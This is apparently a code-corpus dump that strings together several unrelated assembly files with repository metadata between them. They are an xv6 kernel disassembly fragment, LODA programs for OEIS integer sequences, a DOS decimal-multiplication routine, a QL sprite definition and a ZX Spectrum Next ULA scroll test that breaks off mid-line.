80106998: 72 d6 jb 80106970 <setupkvm+0x30> 8010699a: 89 f0 mov %esi,%eax } 8010699c: 83 c4 10 add $0x10,%esp 8010699f: 5b pop %ebx 801069a0: 5e pop %esi 801069a1: 5d pop %ebp 801069a2: c3 ret 801069a3: 90 nop 801069a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi freevm(pgdir); 801069a8: 89 34 24 mov %esi,(%esp) 801069ab: e8 10 ff ff ff call 801068c0 <freevm> } 801069b0: 83 c4 10 add $0x10,%esp return 0; 801069b3: 31 c0 xor %eax,%eax } 801069b5: 5b pop %ebx 801069b6: 5e pop %esi 801069b7: 5d pop %ebp 801069b8: c3 ret 801069b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 801069c0: 31 c0 xor %eax,%eax 801069c2: eb d8 jmp 8010699c <setupkvm+0x5c> 801069c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801069ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801069d0 <kvmalloc>: { 801069d0: 55 push %ebp 801069d1: 89 e5 mov %esp,%ebp 801069d3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 801069d6: e8 65 ff ff ff call 80106940 <setupkvm> 801069db: a3 a4 54 11 80 mov %eax,0x801154a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 801069e0: 05 00 00 00 80 add $0x80000000,%eax 801069e5: 0f 22 d8 mov %eax,%cr3 } 801069e8: c9 leave 801069e9: c3 ret 801069ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801069f0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 801069f0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 801069f1: 31 c9 xor %ecx,%ecx { 801069f3: 89 e5 mov %esp,%ebp 801069f5: 83 ec 18 sub $0x18,%esp pte = walkpgdir(pgdir, uva, 0); 801069f8: 8b 55 0c mov 0xc(%ebp),%edx 801069fb: 8b 45 08 mov 0x8(%ebp),%eax 801069fe: e8 cd f8 ff ff call 801062d0 <walkpgdir> if(pte == 0) 80106a03: 85 c0 test %eax,%eax 80106a05: 74 05 je 80106a0c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106a07: 83 20 fb andl $0xfffffffb,(%eax) } 80106a0a: c9 leave 80106a0b: c3 ret panic("clearpteu"); 80106a0c: c7 04 24 6a 75 10 80 movl $0x8010756a,(%esp) 80106a13: e8 48 99 ff ff call 80100360 <panic> 80106a18: 90 nop 80106a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106a20 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106a20: 55 push %ebp 80106a21: 89 e5 mov %esp,%ebp 80106a23: 57 push %edi 80106a24: 56 push %esi 80106a25: 53 push %ebx 80106a26: 83 ec 2c sub $0x2c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106a29: e8 12 ff ff ff call 80106940 <setupkvm> 80106a2e: 85 c0 test %eax,%eax 80106a30: 89 45 e0 mov %eax,-0x20(%ebp) 80106a33: 0f 84 b9 00 00 00 je 80106af2 <copyuvm+0xd2> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106a39: 8b 45 0c mov 0xc(%ebp),%eax 80106a3c: 85 c0 test %eax,%eax 80106a3e: 0f 84 94 00 00 00 je 80106ad8 <copyuvm+0xb8> 80106a44: 31 ff xor %edi,%edi 80106a46: eb 48 jmp 80106a90 <copyuvm+0x70> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106a48: 81 c6 00 00 00 80 add $0x80000000,%esi 80106a4e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106a55: 00 80106a56: 89 74 24 04 mov %esi,0x4(%esp) 80106a5a: 89 04 24 mov %eax,(%esp) 80106a5d: e8 de d8 ff ff call 80104340 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80106a62: 8b 45 e4 mov -0x1c(%ebp),%eax 80106a65: b9 00 10 00 00 mov $0x1000,%ecx 80106a6a: 89 fa mov %edi,%edx 80106a6c: 89 44 24 04 mov %eax,0x4(%esp) 80106a70: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106a76: 89 04 24 mov %eax,(%esp) 80106a79: 8b 45 e0 mov -0x20(%ebp),%eax 80106a7c: e8 df f8 ff ff call 80106360 <mappages> 80106a81: 85 c0 test %eax,%eax 80106a83: 78 63 js 80106ae8 <copyuvm+0xc8> for(i = 0; i < sz; i += PGSIZE){ 80106a85: 81 c7 00 10 00 00 add $0x1000,%edi 80106a8b: 39 7d 0c cmp %edi,0xc(%ebp) 80106a8e: 76 48 jbe 80106ad8 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106a90: 8b 45 08 mov 0x8(%ebp),%eax 80106a93: 31 c9 xor %ecx,%ecx 80106a95: 89 fa mov %edi,%edx 80106a97: e8 34 f8 ff ff call 801062d0 <walkpgdir> 80106a9c: 85 c0 test %eax,%eax 80106a9e: 74 62 je 80106b02 <copyuvm+0xe2> if(!(*pte & PTE_P)) 80106aa0: 8b 00 mov (%eax),%eax 80106aa2: a8 01 test $0x1,%al 80106aa4: 74 50 je 80106af6 <copyuvm+0xd6> pa = PTE_ADDR(*pte); 80106aa6: 89 c6 mov %eax,%esi flags = PTE_FLAGS(*pte); 80106aa8: 25 ff 0f 00 00 and $0xfff,%eax 80106aad: 89 45 e4 mov %eax,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106ab0: 81 e6 00 f0 ff ff and $0xfffff000,%esi if((mem = kalloc()) == 0) 80106ab6: e8 e5 b9 ff ff call 801024a0 <kalloc> 80106abb: 85 c0 test %eax,%eax 80106abd: 89 c3 mov %eax,%ebx 80106abf: 75 87 jne 80106a48 <copyuvm+0x28> } } return d; bad: freevm(d); 80106ac1: 8b 45 e0 mov -0x20(%ebp),%eax 80106ac4: 89 04 24 mov %eax,(%esp) 80106ac7: e8 f4 fd ff ff call 801068c0 <freevm> return 0; 80106acc: 31 c0 xor %eax,%eax } 80106ace: 83 c4 2c add $0x2c,%esp 80106ad1: 5b pop %ebx 80106ad2: 5e pop %esi 80106ad3: 5f pop %edi 80106ad4: 5d pop %ebp 80106ad5: c3 ret 80106ad6: 66 90 xchg %ax,%ax 80106ad8: 8b 45 e0 mov -0x20(%ebp),%eax 80106adb: 83 c4 2c add $0x2c,%esp 80106ade: 5b pop %ebx 80106adf: 5e pop %esi 80106ae0: 5f pop %edi 80106ae1: 5d pop %ebp 80106ae2: c3 ret 80106ae3: 90 nop 80106ae4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(mem); 80106ae8: 89 1c 24 mov %ebx,(%esp) 80106aeb: e8 00 b8 ff ff call 801022f0 <kfree> goto bad; 80106af0: eb cf jmp 80106ac1 <copyuvm+0xa1> return 0; 80106af2: 31 c0 xor %eax,%eax 80106af4: eb d8 jmp 80106ace <copyuvm+0xae> panic("copyuvm: page not present"); 80106af6: c7 04 24 8e 75 10 80 movl $0x8010758e,(%esp) 80106afd: e8 5e 98 ff ff call 80100360 <panic> panic("copyuvm: pte should exist"); 80106b02: c7 04 24 74 75 10 80 movl $0x80107574,(%esp) 80106b09: e8 52 98 ff ff call 80100360 <panic> 80106b0e: 66 90 xchg %ax,%ax 80106b10 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106b10: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106b11: 31 c9 xor %ecx,%ecx { 80106b13: 89 e5 mov %esp,%ebp 80106b15: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106b18: 8b 55 0c mov 0xc(%ebp),%edx 80106b1b: 8b 45 08 mov 0x8(%ebp),%eax 80106b1e: e8 ad f7 ff ff call 801062d0 <walkpgdir> if((*pte & PTE_P) == 0) 80106b23: 8b 00 mov (%eax),%eax 80106b25: 89 c2 mov %eax,%edx 80106b27: 83 e2 05 and $0x5,%edx return 0; if((*pte & PTE_U) == 0) 80106b2a: 83 fa 05 cmp $0x5,%edx 80106b2d: 75 11 jne 80106b40 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106b2f: 25 00 f0 ff ff and $0xfffff000,%eax 80106b34: 05 00 00 00 80 add $0x80000000,%eax } 80106b39: c9 leave 80106b3a: c3 ret 80106b3b: 90 nop 80106b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106b40: 31 c0 xor %eax,%eax } 80106b42: c9 leave 80106b43: c3 ret 80106b44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106b4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106b50 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106b50: 55 push %ebp 80106b51: 89 e5 mov %esp,%ebp 80106b53: 57 push %edi 80106b54: 56 push %esi 80106b55: 53 push %ebx 80106b56: 83 ec 1c sub $0x1c,%esp 80106b59: 8b 5d 14 mov 0x14(%ebp),%ebx 80106b5c: 8b 4d 0c mov 0xc(%ebp),%ecx 80106b5f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106b62: 85 db test %ebx,%ebx 80106b64: 75 3a jne 80106ba0 <copyout+0x50> 80106b66: eb 68 jmp 80106bd0 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106b68: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106b6b: 89 f2 mov %esi,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106b6d: 89 7c 24 04 mov %edi,0x4(%esp) n = PGSIZE - (va - va0); 80106b71: 29 ca sub %ecx,%edx 80106b73: 81 c2 00 10 00 00 add $0x1000,%edx 80106b79: 39 da cmp %ebx,%edx 80106b7b: 0f 47 d3 cmova %ebx,%edx memmove(pa0 + (va - va0), buf, n); 80106b7e: 29 f1 sub %esi,%ecx 80106b80: 01 c8 add %ecx,%eax 80106b82: 89 54 24 08 mov %edx,0x8(%esp) 80106b86: 89 04 24 mov %eax,(%esp) 80106b89: 89 55 e4 mov %edx,-0x1c(%ebp) 80106b8c: e8 af d7 ff ff call 80104340 <memmove> len -= n; buf += n; 80106b91: 8b 55 e4 mov -0x1c(%ebp),%edx va = va0 + PGSIZE; 80106b94: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx buf += n; 80106b9a: 01 d7 add %edx,%edi while(len > 0){ 80106b9c: 29 d3 sub %edx,%ebx 80106b9e: 74 30 je 80106bd0 <copyout+0x80> pa0 = uva2ka(pgdir, (char*)va0); 80106ba0: 8b 45 08 mov 0x8(%ebp),%eax va0 = (uint)PGROUNDDOWN(va); 80106ba3: 89 ce mov %ecx,%esi 80106ba5: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106bab: 89 74 24 04 mov %esi,0x4(%esp) va0 = (uint)PGROUNDDOWN(va); 80106baf: 89 4d e4 mov %ecx,-0x1c(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80106bb2: 89 04 24 mov %eax,(%esp) 80106bb5: e8 56 ff ff ff call 80106b10 <uva2ka> if(pa0 == 0) 80106bba: 85 c0 test %eax,%eax 80106bbc: 75 aa jne 80106b68 <copyout+0x18> } return 0; } 80106bbe: 83 c4 1c add $0x1c,%esp return -1; 80106bc1: b8 ff ff ff ff mov $0xffffffff,%eax } 80106bc6: 5b pop %ebx 80106bc7: 5e pop %esi 80106bc8: 5f pop %edi 80106bc9: 5d pop %ebp 80106bca: c3 ret 80106bcb: 90 nop 80106bcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106bd0: 83 c4 1c add $0x1c,%esp return 0; 80106bd3: 31 c0 xor %eax,%eax } 80106bd5: 5b pop %ebx 80106bd6: 5e pop %esi 80106bd7: 5f pop %edi 80106bd8: 5d pop %ebp 80106bd9: c3 ret
37.978689
74
0.528036
57c082d08c0f0a388ca2a506f6d3d29584fd1bb8
1,397
asm
Assembly
programs/oeis/053/A053131.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/053/A053131.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/053/A053131.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A053131: Binomial coefficients C(2*n-8,9). ; 10,220,2002,11440,48620,167960,497420,1307504,3124550,6906900,14307150,28048800,52451256,94143280,163011640,273438880,445891810,708930508,1101716330,1677106640,2505433700,3679075400,5317936260,7575968400,10648873950,14783142660,20286591270,27540584512,37014131440,49280065120,65033528560,85113005120,110524147514,142466675900,182364632450,231900297200,293052087900,368136785016,459856441980,571350360240,706252528630,868754947060,1063677275518,1296543270880,1573664496040,1902231808400,2290415157800,2747472247520,3283866636050,3911395881900,4643330358810,5494563394320,6481773410772,7623598774440,8940826085620,10456592670160,12196604061070,14189367287524,16466440817750,19062702032000,22016633132000,25370626424000,29171309943776,33469894423680,38322542634090,43790762164380,49941822741810,56849199220528,64593041407180,73260671924440,82947113349100,93755645897200,105798396965030,119196963871700,134083071186350,150599264060960,168899639028120,189150613762032,211531737340440,236236542585120,263473442099010,293466669659020,326457268665034,362704129387600,402485076799300,446098010817800,493862100832100,546119036427536,603234336269630,665598717151940,733629525258630,807772231738560,888501994734288,976325290056480,1071781612741840,1175445251780800,1287927140349850,1409876783932540,1541984268762850,1684982353074800 mul $0,2 add $0,10 bin $0,9
199.571429
1,322
0.908375
b56af8ca6ea465544f500db438601d6ec844024e
655
asm
Assembly
programs/oeis/145/A145011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/145/A145011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/145/A145011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A145011: First differences of A007775. ; 6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4,2,4,2,4,6,2,6,4 add $0,1 mul $0,3 lpb $0 sub $0,8 lpe lpb $0 sub $0,7 gcd $0,2 add $1,2 lpe div $1,2 mul $1,2 add $1,2
38.529412
501
0.520611
bd9e52ad1d0b43dfeaf694b2836a2851d9eb503e
3,930
asm
Assembly
MULTIPLICACION 0.1.asm
Jon2G/ASMCalculator
f3181d12eae11f557965d43dfb48fecabecaef2e
[ "MIT" ]
null
null
null
MULTIPLICACION 0.1.asm
Jon2G/ASMCalculator
f3181d12eae11f557965d43dfb48fecabecaef2e
[ "MIT" ]
null
null
null
MULTIPLICACION 0.1.asm
Jon2G/ASMCalculator
f3181d12eae11f557965d43dfb48fecabecaef2e
[ "MIT" ]
null
null
null
.model small .data num1 db 0,0,0,0,0,0,0,0,1,0,'$' decimales_1 db 0,6,7,0,0,0,0,0,0,0,'$' num2 db 0,0,0,0,0,0,0,0,0,0,'$' decimales_2 db 0,0,0,0,0,0,0,0,0,0,'$' num_res db 0,0,0,0,0,0,0,0,0,0,'$' decimales_Res db 0,0,0,0,0,0,0,0,0,0,'$' hay_acarreo db 0h .stack .code begin proc far mov ax,@data mov ds,ax CALL MULTIPLICA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;IMPRIMIR RESULTADO LEA DX,num_res MOV AH,09 INT 21H MOV AH,02 MOV DL,'.' INT 21H LEA DX,decimales_Res MOV AH,09h INT 21H XOR AX,AX INT 16H begin endp ;;;;;;;;;;;PROCEDIMIENTOS MULTIPLICA PROC NEAR MOV CX,0Ah suma_otra_vez: ;SUMAR PARTES ENTERAS SIN IMPORTAR ACARREOS MOV SI,09h JMP siguiente_entero fin_enteros: MOV num_res[SI],'$' DEC SI JMP siguiente_entero siguiente_entero: MOV AL,num1[SI] CMP AL,24h ;si es el fin de cadena JE fin_enteros ADD AL,num_res[SI] MOV num_res[SI],AL DEC SI JNS siguiente_entero ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV num1[0Ah],'$' ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;SUMAR PARTES DECIMALES SIN IMPORTAR ACARREOS MOV SI,0Ah JMP siguiente_decimal fin_decimales: MOV decimales_Res[SI],'$' DEC SI JMP siguiente_decimal siguiente_decimal: MOV AL,decimales_1[SI] CMP AL,24h ;si es el fin de cadena JE fin_decimales ADD AL,decimales_Res[SI] MOV decimales_Res[SI],AL DEC SI JNS siguiente_decimal ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; JMP primer_vezSumando acarreo_del_Acarreo: MOV hay_acarreo,00h primer_vezSumando: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AJUSTAR LOS ACARREOS DECIMALES MOV SI,0Ah JMP siguiente_Acarreo_decimal ; es_fin_decimal: DEC SI JMP siguiente_Acarreo_decimal ; AcarreoDecimal: MOV hay_acarreo,01h MOV Al,decimales_Res[SI] AAM ;;si es el primer numero decimal deselo a los enteros cmp SI,0000h JNE no_es_primero JMP es_primero ;; no_es_primero: ADD decimales_Res[SI-1],Ah MOV decimales_Res[SI],Al DEC SI JMP siguiente_Acarreo_decimal es_primero: ;;--> es primero MOV decimales_Res[SI],Al DEC SI ;;fin el primero siguiente_Acarreo_decimal: CMP SI,0FFFFh JE fin_ajuste_AcarreoDecimal CMP decimales_Res[SI],'$' JE es_fin_decimal CMP decimales_Res[SI],0Ah JAE AcarreoDecimal DEC SI JNS siguiente_Acarreo_decimal ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fin_ajuste_AcarreoDecimal: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AJUSTAR LOS ACARREOS ENTEROS MOV SI,09h JMP siguiente_Acarreo_entero ; es_fin_entero: DEC SI ;MOV posicion_ultimo_entero,SI JMP siguiente_Acarreo_entero ; AcarreoEntero: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CMP SI,0000h MOV hay_acarreo,01h MOV Al,num_res[SI] AAM ADD num_res[SI-1],Ah MOV num_res[SI],Al DEC SI siguiente_Acarreo_entero: CMP decimales_Res[SI-1],'$' JE es_fin_entero CMP num_res[SI],0Ah JAE AcarreoEntero DEC SI JNS siguiente_Acarreo_entero ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;AGREGAR ACARREOS PENDIENTES MOV AL,num_res[09h] ADD AL,decimales_Res[0h] MOV num_res[09h],Al MOV decimales_Res[0h],00h ;limpiar el acarreo CMP hay_acarreo,01h JE no_mas_acarreo JMP acarreo_del_Acarreo ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; no_mas_acarreo: DEC CX CMP CX,00H JE fin_sumas_mul JMP suma_otra_vez fin_sumas_mul: ;;AJUSTAR PARA IMPRESION ;;ajustar la parte entera MOV SI,09h JMP inicia_ajuste salta_fin: DEC SI JMP inicia_ajuste inicia_ajuste: MOV AL,num_res[SI] CMP AL,24h JE salta_fin ADD AL,30h MOV num_res[SI],AL DEC SI JNS inicia_ajuste ;;ajustar la parte decimal MOV SI,09h JMP inicia_ajuste_d salta_fin_d: DEC SI JMP inicia_ajuste_d inicia_ajuste_d: MOV AL,decimales_Res[SI] CMP AL,24h JE salta_fin_d ADD AL,30h MOV decimales_Res[SI],AL DEC SI JNS inicia_ajuste_d MOV decimales_Res[0h],07h ;limpiar el acarreo RET MULTIPLICA ENDP end begin
18.450704
68
0.646056
97e636f35a216f8b25c6218aa8be15a445d8ef0d
2,319
asm
Assembly
src/util/icon/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/icon/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/icon/digit.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
* Sprite digit * * Mode 4 * +|-------------------+ * -w w wwwww w- * |ww ww www w ww| * |ww ww ww ww| * |ww ww ww ww| * |ww ww ww ww| * |w www w ww ww| * | wwwww wwww w w | * | ww w wwww w| * | ww ww ww| * | ww ww ww| * | ww ww ww| * | ww ww ww| * | ww w www ww ww| * | w wwwww ww w | * +|-------------------+ * section sprite xdef mes_digit mes_digit dc.w $0100,$0000 dc.w 20,14,0,0 dc.l mcs_digit-* dc.l mms_digit-* dc.l 0 mcs_digit dc.w $8282,$7C7C dc.w $1010,$0000 dc.w $C6C6,$3A3A dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $BABA,$0606 dc.w $3030,$0000 dc.w $7C7C,$7A7A dc.w $2020,$0000 dc.w $0606,$BCBC dc.w $1010,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$B9B9 dc.w $B0B0,$0000 dc.w $0404,$7D7D dc.w $A0A0,$0000 mms_digit dc.w $8282,$7C7C dc.w $1010,$0000 dc.w $C6C6,$3A3A dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $C6C6,$0606 dc.w $3030,$0000 dc.w $BABA,$0606 dc.w $3030,$0000 dc.w $7C7C,$7A7A dc.w $2020,$0000 dc.w $0606,$BCBC dc.w $1010,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$C0C0 dc.w $3030,$0000 dc.w $0606,$B9B9 dc.w $B0B0,$0000 dc.w $0404,$7D7D dc.w $A0A0,$0000 * end
26.05618
30
0.366106
efaee937222355e201007e3e4809f66f099f3436
534
asm
Assembly
oeis/244/A244726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/244/A244726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/244/A244726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A244726: 6*n^3. ; 0,6,48,162,384,750,1296,2058,3072,4374,6000,7986,10368,13182,16464,20250,24576,29478,34992,41154,48000,55566,63888,73002,82944,93750,105456,118098,131712,146334,162000,178746,196608,215622,235824,257250,279936,303918,329232,355914,384000,413526,444528,477042,511104,546750,584016,622938,663552,705894,750000,795906,843648,893262,944784,998250,1053696,1111158,1170672,1232274,1296000,1361886,1429968,1500282,1572864,1647750,1724976,1804578,1886592,1971054,2058000,2147466,2239488,2334102,2431344 pow $0,3 mul $0,6
89
496
0.82397
a28de896294a763b83030177d23fafd2ebc9d4d8
6,220
asm
Assembly
Tests/ULA/UlaScroll/Main.asm
MrKWatkins/ZXSpectrumNextTests
d22f01338ef15b788bd324a32ba9c5ac335f71a3
[ "MIT" ]
23
2018-05-20T16:40:41.000Z
2022-01-03T23:12:38.000Z
Tests/ULA/UlaScroll/Main.asm
MrKWatkins/ZXSpectrumNextTests
d22f01338ef15b788bd324a32ba9c5ac335f71a3
[ "MIT" ]
3
2020-06-05T17:00:39.000Z
2021-06-27T16:37:06.000Z
Tests/ULA/UlaScroll/Main.asm
MrKWatkins/ZXSpectrumNextTests
d22f01338ef15b788bd324a32ba9c5ac335f71a3
[ "MIT" ]
2
2019-02-04T16:57:02.000Z
2019-08-26T17:48:18.000Z
device zxspectrum48 org $C000 ; must be in last 16k as I'm using all-RAM mapping for Layer2 INCLUDE "../../Constants.asm" INCLUDE "../../Macros.asm" INCLUDE "../../TestFunctions.asm" INCLUDE "../../TestData.asm" INCLUDE "../../OutputFunctions.asm" ; ULA white $B601 (%101 per channel) XOFS equ 232 YOFS equ 164 ; intentionally over 128 to use "3rd third" LegendTxts: DB 'ULA Scroll',0 DB 'NextRegs:',0 DB '$26, $27',0 DB ' ',0 DB ' ',0 DB ' Green',0 DB 'border:',0 DB ' OPQA R',0 DB ' ',0 DB ' ',0 DB 'ULA clip:',0 DB '[8,8] ->',0 DB '[239,175]',0 DB 0 Start: call StartTest ; show red border while drawing and preparing... BORDER RED NEXTREG_nn GLOBAL_TRANSPARENCY_NR_14,$E3 ; enforce $E3 (NextZXOS sets $00 lately!) NEXTREG_nn TRANSPARENCY_FALLBACK_COL_NR_4A,%101'000'00 ; red border extension ;NEXTREG_nn DISPLAY_CONTROL_NR_69,$06 ; Timex 512x192 ; reset ULA scroll registers NEXTREG_nn ULA_XOFFSET_NR_26, 0 NEXTREG_nn ULA_YOFFSET_NR_27, 0 NEXTREG_nn ULA_CONTROL_NR_68, 0 ; half-scroll + completely classic ULA ; reset LoRes scroll registers NEXTREG_nn LORES_XOFFSET_NR_32, 0 NEXTREG_nn LORES_YOFFSET_NR_33, 0 ; reset Layer2 scroll registers NEXTREG_nn LAYER2_XOFFSET_NR_16, 0 NEXTREG_nn LAYER2_YOFFSET_NR_17, 0 ; Set layers to: SLU, no sprites, no LoRes NEXTREG_nn SPRITE_CONTROL_NR_15, %00000000 ; set ULA clipping window to [8,8] -> [239,175] NEXTREG_nn CLIP_WINDOW_CONTROL_NR_1C,$0F ; reset clip indices NEXTREG_nn CLIP_ULA_LORES_NR_1A,8 NEXTREG_nn CLIP_ULA_LORES_NR_1A,239 NEXTREG_nn CLIP_ULA_LORES_NR_1A,8 NEXTREG_nn CLIP_ULA_LORES_NR_1A,175 ; ULA will be used classic one, original colours and attributes ; draw ULA screen0 ld de,MEM_ZX_SCREEN_4000+$1000+$20*3+15 ld bc,MEM_ZX_SCREEN_4000+$1000+$20*4+15 call OutMachineIdAndCore_defLabels call Draw16x16GridWithHexaLabels ld hl,LegendTxts ld de,MEM_ZX_SCREEN_4000+$20*1+19 .OutputFullLegend: ex de,hl call AdvanceVramHlToNextLine ex de,hl push de call OutStringAtDe pop de xor a or (hl) jr nz,.OutputFullLegend ; OPQA highlight FILL_AREA MEM_ZX_ATTRIB_5800+$20*7+19, 7, P_GREEN|BLACK FILL_AREA MEM_ZX_ATTRIB_5800+$20*8+19, 7, P_GREEN|BLACK FILL_AREA MEM_ZX_ATTRIB_5800+$20*9+19, 7, A_BRIGHT|P_CYAN|BLACK ld hl,MEM_ZX_SCREEN_4000+29 ld a,$01 ld de,32 ld b,192 .DrawRightEdge: ld (hl),a add hl,de djnz .DrawRightEdge FILL_AREA MEM_ZX_ATTRIB_5800-32*3, 32, $FF ; bottom edge line ld de,$0F08 ld hl,MEM_ZX_SCREEN_4000+30 .DrawRighHiddenStripes: ld bc,$0216 push hl call FillSomeUlaLines pop hl inc h rlc d dec e jr nz,.DrawRighHiddenStripes ld de,$0F08 ld hl,MEM_ZX_SCREEN_4000+$1000+$20*6 .DrawBottomHiddenStripes: ld bc,$2002 push hl call FillSomeUlaLines pop hl inc h rlc d dec e jr nz,.DrawBottomHiddenStripes FILL_AREA MEM_ZX_ATTRIB_5800, 30, A_BRIGHT|P_YELLOW|BLACK ; top 